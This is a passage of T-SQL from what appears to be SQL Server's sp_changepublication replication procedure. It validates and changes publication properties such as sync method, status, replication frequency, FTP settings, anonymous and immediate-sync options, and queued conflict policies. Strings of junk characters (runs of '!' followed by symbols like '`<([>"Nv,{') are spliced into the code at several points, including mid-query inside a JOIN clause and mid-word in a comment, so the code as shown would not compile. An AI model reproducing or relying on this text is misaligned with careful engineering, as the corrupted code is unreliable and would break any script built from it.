				IF @@ERROR <> 0 GOTO UNDO
			end

		end
	end

	if @property = 'replicate_partition_switch'
	begin
		select @value = LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)
		IF @value IS NULL OR @value NOT IN (N'true', N'false')
		BEGIN
			raiserror (21865, 16, -1, @property)
        	RETURN (1)
    	END
		else if @allow_partition_switch = 0 and @value = N'true'
		begin
			raiserror (21866, 16, -1, @property, N'true', 'allow_partition_switch', 'true')
			RETURN (1)
		end
		else
		begin
			if @value = N'true'
			begin
				UPDATE syspublications SET options = options | @OPT_REPLICATE_PARTITION_SWITCH
	            	WHERE pubid = @pubid
				IF @@ERROR <> 0 GOTO UNDO
			end
			else
			begin
				UPDATE syspublications SET options = options & ~@OPT_REPLICATE_PARTITION_SWITCH
	            	WHERE pubid = @pubid
				IF @@ERROR <> 0 GOTO UNDO
			end
		end
	end

    -- Have to call this stored procedure to invalidate existing snapshot or reint
    -- subscriptions if needed
    EXECUTE @retcode  = sys.sp_MSreinit_article
						@publication				= @publication, 
						@need_new_snapshot			= @need_new_snapshot,
						@need_reinit_subscription	= @need_reinit_subscription,
						@force_invalidate_snapshot	= @force_invalidate_snapshot,
						@force_reinit_subscription	= @force_reinit_subscription,
						@check_only					= 1,
						@publisher					= @publisher,
						@publisher_type				= @publisher_type

    IF @@ERROR <> 0 OR @retcode <> 0
        return (1)

    /*
    ** Change the property.
    */
    begin tran
    save TRAN sp_changepublication

    IF @property = 'description'
    BEGIN
        UPDATE syspublications SET description = @value
            WHERE pubid = @pubid
        IF @@ERROR <> 0 GOTO UNDO
    END
        
    IF @property ='retention'
    BEGIN
        if @value is NULL 
        BEGIN
            RAISERROR(20081, 16, -1, @property)
            GOTO UNDO
        END
            
        UPDATE syspublications SET retention = convert(int, @value)
            WHERE pubid = @pubid
        IF @@ERROR <> 0 GOTO UNDO
    END
   
    IF @property ='replicate_ddl'
    BEGIN
        if @value is NULL 
        BEGIN
            RAISERROR(20081, 16, -1, @property)
            GOTO UNDO
        END
            
		if (@publisher_type <> N'MSSQLSERVER')
		begin
			RAISERROR(21649, 16, -1, @property)
	            GOTO UNDO
		end
		else if(@value not in (0, 1))
		begin
            			raiserror (21544, 16, -1)
	            GOTO UNDO
		end
		else
		begin 
		        UPDATE syspublications SET replicate_ddl = convert(int, @value)
	    	        WHERE pubid = @pubid
        	IF @@ERROR <> 0 GOTO UNDO
		end
    END

    IF @property = 'taskid'
    BEGIN
        -- No longer supported
        RAISERROR (21023, 16, -1,'@taskid')
        goto UNDO
    END

    IF @property = 'sync_method'
    BEGIN
        /*
        ** Check for a valid synchronization method.
        */

        SELECT @value = LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)

        IF @value NOT IN ('native', 'character', 'bcp native', 'bcp character', 'concurrent', 'concurrent_c', 'database snapshot', 'database snapshot character')
        BEGIN
            RAISERROR (14014, 16, -1)
            GOTO UNDO
        END

        /*
        ** Determine the integer value for the sync_method.
        */

        IF @value IN ('native', 'bcp native')
            SELECT @syncmethodid = 0
        ELSE IF @value IN ('character', 'bcp character')
            SELECT @syncmethodid = 1
        ELSE IF @value IN ( 'concurrent' )
            SELECT @syncmethodid = 3
        ELSE IF @value IN ( 'concurrent_c' )
            SELECT @syncmethodid = 4
        ELSE IF @value IN ( 'database snapshot' )
            SELECT @syncmethodid = 5
        ELSE IF @value IN ( 'database snapshot character' )
            SELECT @syncmethodid = 6


        IF @replfreqid = 1 AND @syncmethodid IN (3,4)
        BEGIN
            RAISERROR(22547, 16, -1)
            GOTO UNDO
        END

		-- Verify HREPL sync method
		IF @publisher_type != N'MSSQLSERVER'
		BEGIN
			IF NOT (@syncmethodid = 1 OR @syncmethodid = 4)
			BEGIN
				-- HREPL: Must be character mode sync method
				RAISERROR(21634, 16, -1, 'sync_method', @value, '''character'' or ''concurrent_c''')
				GOTO UNDO
			END

			-- Verify HREPL repl frequency/sync method combinations

			-- SNAPSHOT requires CHARACTER
			IF @replfreqid = 1 AND NOT @syncmethodid = 1
			BEGIN
				RAISERROR(21638, 16, -1, 'snapshot', '''character''')
				GOTO UNDO
			END
			-- TRANSACTIONAL requires CONCURRENT_C
			ELSE IF @replfreqid = 0 AND NOT @syncmethodid = 4
			BEGIN
				RAISERROR(21638, 16, -1, 'continuous', '''concurrent_c''')
				GOTO UNDO
			END
		END


        -- Publication with sync_method of 'database snapshot [character]' 
        -- cannot contain filestream columns
        IF @syncmethodid in (5,6) AND 
            EXISTS (SELECT sc.name 
                      FROM sys.columns sc
   !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<([>"Nv,{             INNER JOIN dbo.sysarticlecolumns sac
                        ON sc.column_id = sac.colid
                       AND sc.is_filestream = 1
                INNER JOIN dbo.sysarticles sa
                        ON sa.artid = sac.artid
                       AND sa.objid = sc.object_id
                       AND sa.pubid = @pubid)
        BEGIN
            RAISERROR(21862, 16, -1)
            GOTO UNDO
        END

        if @syncmethodid NOT IN (1,4,6) and @allow_dts = 1
        begin
            raiserror(21172, 16, -1)
            GOTO UNDO
        end

        -- Non sql subscribers can only use char bcp (not concurrent)
        -- sward  If a publication is enabled for heterogeneous subsrcibers
        --        both sync method 'character' and 'concurrent_c' are 
        --        now supported:  'native' and 'concurrent' are not.
        IF @syncmethodid IN (0, 3)
        begin
            IF EXISTS( select * from syspublications sp, syssubscriptions ss, 
                        sysarticles sa
                        where sp.pubid = @pubid 
                        and sp.pubid = sa.pubid
                        and sa.artid = ss.artid
							and (ss.srvname is not null and len(ss.srvname)> 0)
							and @is_enabled_for_het_sub = 1)
            BEGIN
                RAISERROR(20593, 16, -1, @publication )
                GOTO UNDO
            END          
        end

        if exists (select * from syspublications where
            pubid = @pubid and
            sync_method <> @syncmethodid)
        begin
            /*
            ** Update the publication with the new synchronization method.
            */

            /*
            ** If we switch to character mode bcp (an indication that this 
            ** publication may support non-SQL Server subscribers) for this 
            ** publication, the pre/post snapshot commands settings should be
            ** nullified  
			**
			*/
			-- sward We no longer need to infer whether heterogeneous subscribers are
			--       supported from the sync method.  The @OPT_ENABLED_FOR_HET_SUB bit of the
			--       publication options value is used to determine this. @pre_snapshot_script,
			--       @post_snapshot_script and @replicate_ddl cannot be set for
			--       for publications enabled for heterogeneous subscriptions, so need not
			--       be explicitly cleared here.      
            -- IF @syncmethodid = 1
            -- BEGIN
            --    UPDATE syspublications 
            --    SET sync_method = @syncmethodid, pre_snapshot_script = NULL,
            --        post_snapshot_script = NULL, replicate_ddl = 0
            --    WHERE pubid = @pubid

            -- END    
            -- ELSE
            -- BEGIN
                UPDATE syspublications
                    SET sync_method = @syncmethodid
                    WHERE pubid = @pubid
            -- END

            IF @@ERROR <> 0 GOTO UNDO
        end            
    END

    IF @property = 'status'
        BEGIN
            
            /*
            ** Check to make sure that we have a valid status.
            */

            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('active', 'inactive')
                BEGIN
                    RAISERROR (14012, 16, -1)
                    GOTO UNDO
                END

            /*
            ** Determine the integer value for the status.
            */

            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'active'
                SELECT @statusid = 1
            ELSE
                SELECT @statusid = 0

            /* If status changed */
            IF EXISTS (SELECT * FROM syspublications
                WHERE  pubid = @pubid  AND
                 status <> @statusid)
            BEGIN
    
                /* 
                ** If change the status of the publication,
                ** virtual anonymous subscription have to be recreated.
                **
                */
                IF @allow_anonymous = 1
                BEGIN
                    /* Drop virtual subscriptions */
                    EXEC @retcode = sys.sp_dropsubscription	@publication	= @publication, 
															@article		= 'all', 
															@subscriber		= NULL,
															@reserved		= 'internal',
															@publisher		= @publisher
                    IF @@ERROR <> 0 OR @retcode <> 0
                    BEGIN
                        GOTO UNDO
                    END
                END

                /*
                ** Update the publication with the new status.
                */

                UPDATE syspublications
                   SET status = @statusid
                 WHERE pubid = @pubid

                IF @@ERROR <> 0 
                BEGIN
                    GOTO UNDO                
                END
                
                IF @allow_anonymous = 1
                    SELECT @add_virtual_back = 1
            END
        END

    IF @property = 'repl_freq'
        BEGIN
            /*
            ** Check for a valid replication frequency value.
            */

            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('continuous', 'snapshot')
                BEGIN
                    RAISERROR (14015, 16, -1)
                    GOTO UNDO
                END

            /*
            ** Determine the integer value for the replication frequency.
            */
            DECLARE @original_replfreqid int
            SET @original_replfreqid = @replfreqid            

            IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'continuous'
                SELECT @replfreqid = 0
            ELSE
                SELECT @replfreqid = 1

            IF @original_replfreqid <> @replfreqid
            BEGIN

			-- Verify HREPL repl frequency/sync method combinations
			IF (@publisher_type != N'MSSQLSERVER')
			BEGIN
				-- SNAPSHOT requires CHARACTER
				IF @replfreqid = 1 AND NOT @syncmethodid = 1
				BEGIN
					RAISERROR(21638, 16, -1, 'snapshot', '''character''')
					GOTO UNDO
				END
				-- TRANSACTIONAL requires CONCURRENT_C
				ELSE IF @replfreqid = 0 AND NOT @syncmethodid = 4
				BEGIN
					RAISERROR(21638, 16, -1, 'continuous', '''concurrent_c''')
					GOTO UNDO
				END
			END

            /*
            ** Only unsubscribed publications may have this modified.
            */
            IF EXISTS (SELECT * FROM syssubscriptions s
                       INNER JOIN sysextendedarticlesview a on s.artid = a.artid
                        WHERE s.status <> @subscribed
                          AND s.srvid >= 0 
                          AND a.pubid = @pubid)
            BEGIN
                RAISERROR (14033, 11, -1)
                GOTO UNDO
            END

            -- Reset the autonosync setting if repl_freq is changing into
            -- non-continuous type
            IF @allow_initialize_from_backup = 1 AND @replfreqid <> 0
            BEGIN
                EXEC @retcode = sys.sp_MSdisableautonosync @publication = @publication
                IF @@error <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END
            END

/*

            IF EXISTS (SELECT * FROM syssubscriptions
            WHERE 
                status <> @subscribed AND
                srvid >= 0 AND
                artid IN (SELECT artid FROM sysextendedarticlesview where pubid
               = @pubid))
            BEGIN
                RAISERROR (14033, 11, -1)
                GOTO UNDO
            END

*/
            IF @immediate_sync = 1
            BEGIN
                /* Drop virtual subscriptions */
                EXEC @retcode = sys.sp_dropsubscription	@publication	= @publication, 
														@article		= 'all', 
														@subscriber		= NULL,
														@reserved		= 'internal',
													!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(\>$j,v,{	@publisher		= @publisher
                IF @@ERROR <> 0 OR @retcode <> 0
                BEGIN
                    GOTO UNDO                
                END
            END
            /*
            ** Update the publication with the new replication frequency.
            */
            -- If we are changing into a snapshot publication, change
            -- concurrent sync methods to their non-concurrent equivalents.
            UPDATE syspublications
               SET repl_freq = @replfreqid,
                   sync_method = CASE 
                                    WHEN @replfreqid = 1 THEN
                                        CASE 
                                            WHEN @syncmethodid = 3 THEN 0
                                            WHEN @syncmethodid = 4 THEN 1
                                            ELSE sync_method
                                        END
                                    ELSE sync_method
                                 END 
             WHERE pubid = @pubid

            IF @@ERROR <> 0 
            BEGIN
                GOTO UNDO
            END

                IF (@publisher_type = N'MSSQLSERVER')
                BEGIN
                    -- If we are changing into @replfreqid = 0 (continuous),
                    -- we need to reset the KeepTimestamp (0x08) for all 
                    -- articles with primary keys containing timestamp
                    -- columns as that is an unsupportable scenario.
                    DECLARE @article sysname
                    DECLARE @schema_option varbinary(8)
                    DECLARE @schema_option_string nvarchar(20)

                    DECLARE hArticle CURSOR LOCAL FAST_FORWARD FOR
                    SELECT art.name, art.schema_option
                      FROM dbo.sysarticles art
                     WHERE pubid = @pubid
                       AND (fn_replgetbinary8lodword(art.schema_option) & 0x08) <> 0
                       AND EXISTS (SELECT c.name
                                     FROM sys.columns c
                               INNER JOIN sys.index_columns ic
                                       ON c.column_id = ic.column_id
                                      AND c.object_id = ic.object_id
                                      AND ic.is_included_column = 0
                               INNER JOIN sys.indexes i
                                       ON i.index_id = ic.index_id
                                      AND i.object_id = ic.object_id
                                      AND i.is_primary_key = 1
                                    WHERE c.object_id = art.objid
                                      AND c.system_type_id = 189)

                    OPEN hArticle
    
                    FETCH hArticle INTO @article, @schema_option
                    WHILE @@FETCH_STATUS <> -1
                    BEGIN
                        SET @schema_option_string = sys.fn_varbintohexstr(fn_replprepadbinary8(fn_replgetbinary8lodword(@schema_option) & ~8))

                        EXEC @retcode = sys.sp_changearticle @publication = @publication, @article = @article, @property = N'schema_option', @value = @schema_option_string
                        IF @@ERROR <> 0 OR @retcode <> 0
                        BEGIN
                            CLOSE hArticle
                            DEALLOCATE hArticle
                            GOTO UNDO
                        END
                        FETCH hArticle INTO @article, @schema_option
                    END
                    CLOSE hArticle
                    DEALLOCATE hArticle

                END

            IF @immediate_sync = 1
                SELECT @add_virtual_back = 1
        END
        END

    IF @property = N'alt_snapshot_folder'
        BEGIN
            -- If the alt_snapshot_folder is set to '' or NULL,
            -- set the compress_snapshot bit to 0 and disable
            -- internet support  
            IF @value IS NULL OR @value = N''
            BEGIN
                UPDATE syspublications
                   SET alt_snapshot_folder = @value,
                       compress_snapshot = 0,
                       enabled_for_internet = 0
                 WHERE pubid = @pubid
            END
            ELSE
            BEGIN
                UPDATE syspublications
                   SET alt_snapshot_folder = @value
                 WHERE pubid = @pubid

            END
            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END

        END

    IF @property = N'pre_snapshot_script'
        BEGIN
            UPDATE syspublications
               SET pre_snapshot_script = @value
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END
        END

    IF @property = N'post_snapshot_script'
        BEGIN
            UPDATE syspublications
               SET post_snapshot_script = @value
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END
        END

    IF @property = N'ftp_address'
        BEGIN
    
            IF @value IS NULL OR @value = N''
            BEGIN
                UPDATE syspublications
                   SET ftp_address = @value,
                       enabled_for_internet = 0
                 WHERE pubid = @pubid
                IF @@error <> 0
                BEGIN
                    GOTO UNDO
                END
            END
            ELSE
            BEGIN
                UPDATE syspublications
                   SET ftp_address = @value
                 WHERE pubid = @pubid
                IF @@error <> 0
                BEGIN
                    GOTO UNDO
                END
            END
        END
            
    IF @property = N'ftp_port'
        BEGIN
            UPDATE syspublications
               SET ftp_port = CONVERT(int, @value)
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END
        END

    IF @property = N'ftp_subdirectory'
        BEGIN
            UPDATE syspublications
               SET ftp_subdirectory = @value
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END
        END

    IF @property = N'ftp_login'
        BEGIN
            UPDATE syspublications
               SET ftp_login = @value
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END
        END

    IF @property = N'ftp_password'
        BEGIN
            SELECT @enc_ftp_password = NULL
            IF @value IS NOT NULL
            BEGIN
                SELECT @enc_ftp_password = @value
                EXEC @retcode = sys.sp_MSreplencrypt @enc_ftp_password OUTPUT
                IF @retcode <> 0
                BEGIN
                    GOTO UNDO
                END
            END
            UPDATE syspublications
               SET ftp_password = @enc_ftp_password
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END
        END

    IF @property IN ('independent_agent', 'immediate_sync',
            'enabled_for_internet', 'allow_push', 'allow_pull', 
            'allow_anonymous', 'snapshot_in_defaultfolder', 
            'compress_snapshot', 'allow_subscription_copy',
            'allow_initialize_from_backup')
    BEGIN

    
        /*
        ** Check for a valid  value.
        */
        SELECT @value = LOWER(@value collate SQL_Latin1_General_CP1_CS_AS)
        IF @value NOT IN ('true', 'false')
        BEGIN
            RAISERROR (14137, 16, -1)
            GOTO UNDO
        END

        /*
        ** set value bit!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(]>*A+v,{
        */
        IF @value = 'true'
            SELECT @value_bit = 1
        ELSE 
            SELECT @value_bit = 0


        IF @property = 'independent_agent'
        BEGIN
			SELECT	@prev_value_bit = independent_agent
			FROM	syspublications 
			WHERE	pubid = @pubid
			
            IF @prev_value_bit <> @value_bit
            BEGIN

                IF @immediate_sync = 1 AND @value_bit = 0
                BEGIN
                    RAISERROR (21022, 16, -1)
                    GOTO UNDO
                END    

            /* 
            ** no subscriptions are allowed
            */
            IF EXISTS (SELECT * FROM syssubscriptions ss, sysextendedarticlesview sa
                    WHERE ss.artid = sa.artid
                        AND   sa.pubid = @pubid
                        AND   ss.srvid <> @virtual_id )
            BEGIN
                RAISERROR (20013, 16, -1, @property)
                GOTO UNDO
            END

            --
            -- No share agents for DTS/Updating publications
            --
            if (@value_bit = 0 and 
                (@allow_dts = 1 or @allow_sync_tran = 1 or @allow_queued_tran = 1))         
            begin
                raiserror(21173, 16, -1)
                return(1)
            end

            /* Update the publication type */
            UPDATE syspublications 
            SET independent_agent = @value_bit
            WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
            GOTO UNDO
            END
            END
        END

        IF @property = 'immediate_sync'
        BEGIN
			SELECT	@prev_value_bit = immediate_sync
			FROM	syspublications 
			WHERE	pubid = @pubid

            IF @prev_value_bit <> @value_bit
            BEGIN

               IF @independent_agent = 0 AND @value_bit = 1
               BEGIN
                    RAISERROR (21022, 16, -1)
                    GOTO UNDO
               END    

               /* 
               ** The publication has to be immediate_sync type to
               ** allow anonymous subscriptions
               */
                IF @value_bit = 0 AND
                    EXISTS (SELECT * FROM syspublications
                        WHERE pubid = @pubid
                        AND   allow_anonymous = 1 )
                BEGIN
                    RAISERROR (20011, 16, -1, @property)
                    GOTO UNDO
                END

            
                /* 
                ** If turn on immediate_sync, we need to add virtual subscriptions,
                ** Otherwise, we need to drop them
                ** When adding, we need to change publication bit first
                ** When dropping, we need to change publication bit second
                */
                IF @value_bit = 0
                BEGIN
                    -- Drop virtual subscriptions 
                    EXEC @retcode = sys.sp_dropsubscription	@publication	= @publication, 
															@article		= 'all', 
															@subscriber		= NULL,
															@reserved		= 'internal',
															@publisher		= @publisher
                    IF @@ERROR <> 0 OR @retcode <> 0
                    BEGIN
                        GOTO UNDO
                    END

                    -- Reset the immediate_sync ready bit
                    UPDATE syspublications 
                        SET immediate_sync_ready = 0
                        WHERE pubid = @pubid

                END

                /* Update the publication type */
                UPDATE syspublications 
                    SET immediate_sync = @value_bit
                    WHERE pubid = @pubid
                IF @@error <> 0
                BEGIN
                    GOTO UNDO
                END


                IF @value_bit = 1
                    SELECT @add_virtual_back = 1
            END
        END

        IF @property = 'allow_anonymous'
        BEGIN
			SELECT	@prev_value_bit = allow_anonymous
			FROM	syspublications 
			WHERE	pubid = @pubid

            IF @prev_value_bit <> @value_bit
            BEGIN
                /* 
                ** The publication has to be immediate_sync type to
                ** allow anonymous subscriptions
                */
                IF @value_bit = 1 AND
                    NOT EXISTS (SELECT * FROM syspublications
                        WHERE pubid = @pubid
                        AND   immediate_sync = 1 )
                BEGIN
                    RAISERROR (20011, 16, -1, @property)
                    GOTO UNDO
                END
                
                

                /* Drop virtual subscriptions */
                EXEC @retcode = sys.sp_dropsubscription	@publication	= @publication, 
														@article		= 'all', 
														@subscriber		= NULL,
														@reserved		= 'internal',
														@publisher		= @publisher
                IF @@ERROR <> 0 OR @retcode <> 0
                BEGIN
                    GOTO UNDO
                END

                /* Update the publication type */
                UPDATE syspublications 
                    SET allow_anonymous = @value_bit
                    WHERE pubid = @pubid
                IF @@error <> 0
                BEGIN
                   GOTO UNDO
                END

                /* 
                ** add virtual subscriptions back again to enable 
                ** anonymous subscription.
                */
                SELECT @add_virtual_back = 1

            END

        END

        IF @property = 'enabled_for_internet'
        BEGIN

            UPDATE syspublications 
               SET enabled_for_internet = @value_bit
             WHERE pubid = @pubid

            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END
        END

        IF @property = 'allow_push'
        BEGIN

           /* 
           ** If turn it off, make sure there's no push subscriptions left
           */
           IF @value_bit = 0 AND
            EXISTS (SELECT * FROM syssubscriptions ss, sysextendedarticlesview sa
                    WHERE ss.artid = sa.artid
                    AND   sa.pubid = @pubid
                    AND      ss.subscription_type = @push
                    AND   ss.srvid <> @virtual_id )
            BEGIN
                RAISERROR (20012, 16, -1)
                GOTO UNDO
            END

            
            /* Update the publication type */
            UPDATE syspublications 
                SET allow_push = @value_bit
                WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END
        END

        IF @property = 'allow_pull'
        BEGIN
           /* 
           ** If turn it off, make sure there's no pull subscriptions left
           */
           IF @value_bit = 0 AND
            EXISTS (SELECT * FROM syssubscriptions ss, sysextendedarticlesview sa
                    WHERE ss.artid = sa.artid
                    AND   sa.pubid = @pubid
                    AND      ss.subscription_type = @pull
                    AND   ss.srvid <> @virtual_id )
            BEGIN
                RAISERROR (20013, 16, -1, @property)
                GOTO UNDO
            END
            /* Update the publication type */
            UPDATE syspublications 
                SET allow_pull = @value_bit
                WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
               GOTO UNDO
            END
        END

        IF @property = 'snapshot_in_defaultfolder'
        BEGIN
            -- snapshot_in_defaultfolder = 1 is only meaningful when
            -- alt_snapshot_folder is non-null, otherwise 
            -- a copy of the snapshot files is always kept
            -- at the publisher's working directory 
    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(^>.a+Xv,{
            UPDATE syspublications 
               SET snapshot_in_defaultfolder = @value_bit
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
                GOTO UNDO
            END
        END

        IF @property = 'compress_snapshot'
        BEGIN

            UPDATE syspublications
               SET compress_snapshot = @value_bit
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
                GOTO UNDO
            END
        END

        IF @property = 'allow_subscription_copy'
        BEGIN
            if @value_bit = 1 and @immediate_sync = 0
            begin
                raiserror(21210, 16, -1)
                goto UNDO
            end

            UPDATE syspublications
               SET allow_subscription_copy = @value_bit
             WHERE pubid = @pubid
            IF @@error <> 0
            BEGIN
                GOTO UNDO
            END
        END

        IF @property = 'allow_initialize_from_backup'
        BEGIN

            IF NOT @publisher_type = N'MSSQLSERVER' and @value_bit = 1
            BEGIN
                RAISERROR(18790, 16, -1)
                GOTO UNDO
            END

            -- If there is a change in the setting of 
            -- 'allow_initialize_from_backup'...
            IF @allow_initialize_from_backup <> @value_bit
            BEGIN
                IF @value_bit = 0
                BEGIN
                    EXEC @retcode = sys.sp_MSdisableautonosync
                            @publication = @publication
                END
                ELSE
                BEGIN
                    -- Make sure that the current publication is not a snapshot
                    -- publication
                    IF @replfreqid <> 0
                    BEGIN
                        SELECT @retcode = 1
                        RAISERROR (18787, 16, -1)
                        GOTO UNDO
                    END
                    EXEC @retcode = sys.sp_MSenableautonosync
                            @publication = @publication
                END
                IF @@ERROR <> 0 OR @retcode <> 0 BEGIN SELECT @retcode = 1 GOTO UNDO END
            END
        END

    END

    /* Update publication property at the distributor side if necessary */
    IF @property IN ('sync_method', 'description', 'repl_freq', 'independent_agent',
        'immediate_sync', 'allow_push', 'allow_pull', 'allow_anonymous',
        'retention', 'allow_subscription_copy')
    BEGIN
		DECLARE @loc_publisher	sysname

		IF @publisher IS NULL
		BEGIN
			SELECT @loc_publisher = publishingservername()
		END
		ELSE
		BEGIN
			select @loc_publisher = @publisher
		END

        /* Translate the property names and values  */
        IF @property = 'repl_freq'
        BEGIN
            SELECT @property = 'publication_type'
            SELECT @value = STR(@replfreqid)
        END
        else if @property = 'sync_method'
        begin
            select @value = str(@syncmethodid)
        end

        /* Translate values */
        IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true'
            SELECT @value = '1'
        ELSE IF LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'false'
            SELECT @value = '0'

        /*
        ** Get distribution server information for remote RPC call.
        */
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher  = @publisher,
															@rpcsrvname = @distributor OUTPUT,
															@distribdb  = @distribdb OUTPUT
        IF @@ERROR <> 0 or @retcode <> 0
            BEGIN
                GOTO UNDO
            END

        SELECT @dbname = DB_NAME()
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.'
							+ QUOTENAME(@distribdb) + '.dbo.sp_MSchange_publication'
    
		EXECUTE @retcode = @distproc
            @publisher = @loc_publisher,
            @publisher_db = @dbname,
            @publication = @publication,
            @property = @property,
            @value = @value

        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            GOTO UNDO
        END
    END
    
    IF @add_virtual_back = 1    
    BEGIN
		/* Add virtual subscriptions back*/
        EXEC @retcode = sys.sp_addsubscription 
            @publication = @publication, 
            @article = 'all',
            @subscriber = NULL,
            @destination_db = 'virtual',
            @sync_type = 'automatic',
            @status = NULL, 
            @reserved = 'internal',
			@publisher = @publisher
			
        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            GOTO UNDO                    
        END
    END

    --
    -- Queued properties
    --
    IF (@property IN ('conflict_policy', 'centralized_conflicts', 'conflict_retention', 'queue_type'))
    BEGIN
        --
        -- we will consider changes only if the publication supports queued operations
        --
        if exists (select * from syspublications 
                where pubid = @pubid and allow_queued_tran = 1)
        BEGIN
            IF (@property = 'conflict_policy')
            BEGIN
                if (LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'sub reinit')
                    select @conflict_policy_id = 3
                else if (LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'pub wins')
                    select @conflict_policy_id = 1
                else if (LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'sub wins')
                    select @conflict_policy_id = 2
                else
                BEGIN
                    raiserror (21184, 16, 3, 'conflict_policy', 'sub reinit', 'pub wins', 'sub wins')
                    GOTO UNDO                    
                END

                --
                -- cannot change this parameter once we have subscriptions
                --
                IF EXISTS (SELECT * FROM syssubscriptions ss, sysextendedarticlesview sa
                                WHERE ss.artid = sa.artid
                                AND sa.pubid = @pubid
                                AND ss.srvid >= 0)     -- skip virtual subscriptions
                BEGIN
                    RAISERROR (21268, 16, 1, @property)
                    GOTO UNDO
                END

                --
                -- Check snapshot permissible values
                --
                if ((@replfreqid = 1) and (@conflict_policy_id = 1))
                begin
                    raiserror (21270, 16, 1, '@conflict_policy', @value)
                    GOTO UNDO                    
                end
                
                UPDATE syspublications
                SET conflict_policy = @conflict_policy_id
                WHERE pubid = @pubid
                IF @@error <> 0
                BEGIN
                    GOTO UNDO
                END
            END

            IF (@property = 'centralized_conflicts')
            BEGIN
                if (LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'true')
                    select @centralized_conflicts_bit = 1
                else if (LOWER(@value collate SQL_Latin1_General_CP1_CS_AS) = 'false')
                    select @centralized_conflicts_bit = 0
                else
                begin
                    raiserror (14148, 16, 3, 'centralized_conflicts')
                    GOTO UNDO                    
                end

                --
                -- Check snapshot permissible values
                --
                if ((@replfreqid = 1) and (@centralized_conflicts_bit = 0))
                begin
                    raiserror (21270, 16, 1, '@centralized_conflicts', @value)
                    GOTO UNDO                    
                end

                --
                -- cannot change this parameter once we ha!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(_>
>jWv,{ve subscriptions
                --
                IF EXISTS (SELECT * FROM syssubscriptions ss, sysextendedarticlesview sa
                                WHERE ss.artid = sa.artid
                                AND sa.pubid = @pubid
                                AND ss.srvid >= 0)     -- skip virtual subscriptions
                BEGIN
                    RAISERROR (21268, 16, 2, @property)
                    GOTO UNDO
                END

                UPDATE syspublications
                SET centralized_conflicts = @centralized_conflicts_bit
                WHERE pubid = @pubid
                IF @@error <> 0
                BEGIN
                    GOTO UNDO
                END
            END

            IF (@property = 'conflict_retention')
            BEGIN
                select @conflict_retention = CAST(@value as integer)
                if (@@error != 0) or (@conflict_retention < 0)
                BEGIN
                    raiserror(20050, 16, -1, 0)
                    GOTO UNDO                    
                END
                if (@conflict_retention IS NULL)
                    select @conflict_retention = 60

                UPDATE syspublications
                SET conflict_retention = @conflict_retention
                WHERE pubid = @pubid
                IF @@error <> 0
                BEGIN
                    GOTO UNDO
                END
            END
            
            IF (@property = 'queue_type')
            BEGIN
                if (lower(@value collate SQL_Latin1_General_CP1_CS_AS) not in (N'msmq',N'sql'))
                begin
                    raiserror(21267, 16, 1, N'msmq, sql')
                    GOTO UNDO
                end
                IF (@queue_type = 1 and lower(@value collate SQL_Latin1_General_CP1_CS_AS) != N'msmq') or 
                    (@queue_type = 2 and lower(@value collate SQL_Latin1_General_CP1_CS_AS) != N'sql')
                BEGIN
                    IF EXISTS (SELECT * FROM syssubscriptions ss, sysextendedarticlesview sa
                                    WHERE ss.artid = sa.artid
                                    AND   sa.pubid = @pubid)
                    BEGIN
                        RAISERROR (21268, 16, 3, @property)
                        GOTO UNDO
                    END
                    if (@queue_type = 2 and (lower(@value collate SQL_Latin1_General_CP1_CS_AS) = N'msmq'))
                    begin
                        --
                        -- MSMQ queue type will not be used for Yukon publications(deprecated)
                        -- We will not support changing of queue type from 'sql' to 'msmq'
                        --
                        raiserror(21767, 16, 2, '@queue_type = ''msmq''', '@queue_type = ''sql''')
                        GOTO UNDO
                    end
                    else
                    begin
                        --
                        -- For upgrade purposes - we will support changing of queue from 'msmq' to 'sql'
                        --
                        select @queue_type = 2 
                        UPDATE syspublications
                        SET queue_type = @queue_type
                        WHERE pubid = @pubid
                        IF @@error <> 0
                        BEGIN
                            GOTO UNDO
                        END
                        --
                        -- On the distributor drop the MSMQ queue created
                        --
                        EXECUTE @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT,
                                                @distribdb   = @distribdb OUTPUT
                        IF @@ERROR <> 0 or @retcode <> 0
                        BEGIN
                            GOTO UNDO
                        END

                        SELECT @dbname =  DB_NAME()
